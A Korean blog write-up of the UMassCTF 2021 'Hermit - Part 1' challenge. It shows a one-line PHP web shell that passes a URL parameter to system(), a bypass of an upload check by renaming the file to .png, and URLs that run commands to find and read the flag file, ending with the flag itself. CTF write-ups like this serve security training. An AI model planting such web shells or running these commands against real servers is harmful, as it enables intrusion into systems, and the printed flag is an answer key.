UMassCTF 2021 - writeup

skyepodium·2021년 3월 28일
1
post-thumbnail

1. Hermit - Part 1

    # Web Shell      # PHP      # Web    

웹쉘 문제

1) 살펴보기

입장하면 파일 업로더가 있다.

그리고, 응답 헤더를 살펴보면 PHP로 이루어졌음을 알 수 있다.

소라게 부터 웹셀을 만들라는 뉘앙스를 강하게 준다.

2) 웹셀

웹셀은 업로드 취약점을 통해 서버에 명령을 전달할 수 있는 코드이다.

3) 시나리오

PHP로 구성된 웹쉘을 서버에 업로드하고

내가 전달하는 명령어를 SYSTEM CALL로 수행하고

결과를 보여주도록 만들것이다.

4) 업로드 파일

<?php
// http request 로 받은 cmd 파라미터를 system call로 수행하고
// 결과를 보여줍니다.
echo system($_GET["cmd"]);
?>

다음과 같이 php 코드를 작성하고 .png 파일로 확장자를 바꿨다.

이미지만 올라가도록 검사하는데 확장자만 바꿔도 통과가 진행된다.

5) 수행

ls 리눅스 명령어를 통해 현재 디렉토리들의 파일들을 보여준다.

http://104.197.195.221:8086/show.php?filename=qF04YP&cmd=ls

flag 라는 문자열이 포함된 모든 파일을 찾도록 진행했다.
(참가자들이 올린 파일들이 짬뽕되어서 전부 나오고 있다.)

http://104.197.195.221:8086/show.php?filename=qF04YP&cmd=find%20.%20-type%20f%20-print%20|%20xargs%20grep%20-i%20%22flag%22%20/dev/null

userflag.txt라는 파일이 눈에 띈다.

열어보면 flag가 있다.

http://104.197.195.221:8086/show.php?filename=qF04YP&cmd=cd%20../../../home/hermit/flag;cat%20userflag.txt

정답: UMASS{a_picture_paints_a_thousand_shells}

profile
callmeskye

0개의 댓글